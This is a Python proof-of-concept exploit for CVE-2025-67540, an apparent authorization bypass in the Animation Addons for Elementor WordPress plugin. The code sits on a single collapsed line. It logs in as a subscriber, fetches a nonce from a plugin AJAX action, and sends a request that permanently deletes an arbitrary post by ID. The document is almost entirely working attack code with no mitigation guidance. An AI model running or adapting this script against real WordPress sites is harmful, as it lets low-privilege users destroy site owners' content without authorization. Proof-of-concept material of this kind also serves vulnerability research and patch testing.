CVE-2025-67540

# CVE-2025-67540 PoC - Animation Addons for Elementor Authorization Bypass # Affected: Animation Addons for Elementor <= 2.4.5 import requests import sys from urllib.parse import urlencode target_url = "http://target-wordpress-site.com" post_id_to_delete = 123 # Target post ID username = "subscriber_user" password = "user_password" def get_nonce(login_url, username, password): """Get WordPress nonce after authentication""" session = requests.Session() # Login to WordPress login_data = { 'log': username, 'pwd': password, 'wp-submit': 'Log In', 'redirect_to': '/wp-admin/', 'testcookie': '1' } response = session.post(login_url, data=login_data, allow_redirects=True) # Extract nonce from plugin's AJAX handler nonce_url = f"{target_url}/wp-admin/admin-ajax.php?action=animation_get_nonce" nonce_response = session.get(nonce_url) try: return session.cookies.get_dict(), nonce_response.json().get('nonce') except: return session.cookies.get_dict(), None def exploit_authorization_bypass(target_url, cookies, nonce, post_id): """Exploit the missing authorization vulnerability""" # Craft malicious request to delete arbitrary content delete_url = f"{target_url}/wp-admin/admin-ajax.php" payload = { 'action': 'animation_delete_content', 'nonce': nonce, 'post_id': post_id, 'delete_type': 'permanent' } print(f"[*] Sending deletion request for post ID: {post_id}") response = requests.post(delete_url, data=payload, cookies=cookies) if response.status_code == 200: result = response.json() if result.get('success'): print(f"[+] Successfully deleted post ID: {post_id}") return True print(f"[-] Exploitation failed") return False if __name__ == "__main__": login_url = f"{target_url}/wp-login.php" cookies, nonce = get_nonce(login_url, username, password) if nonce: exploit_authorization_bypass(target_url, cookies, nonce, post_id_to_delete) else: print("[-] Failed to obtain nonce")

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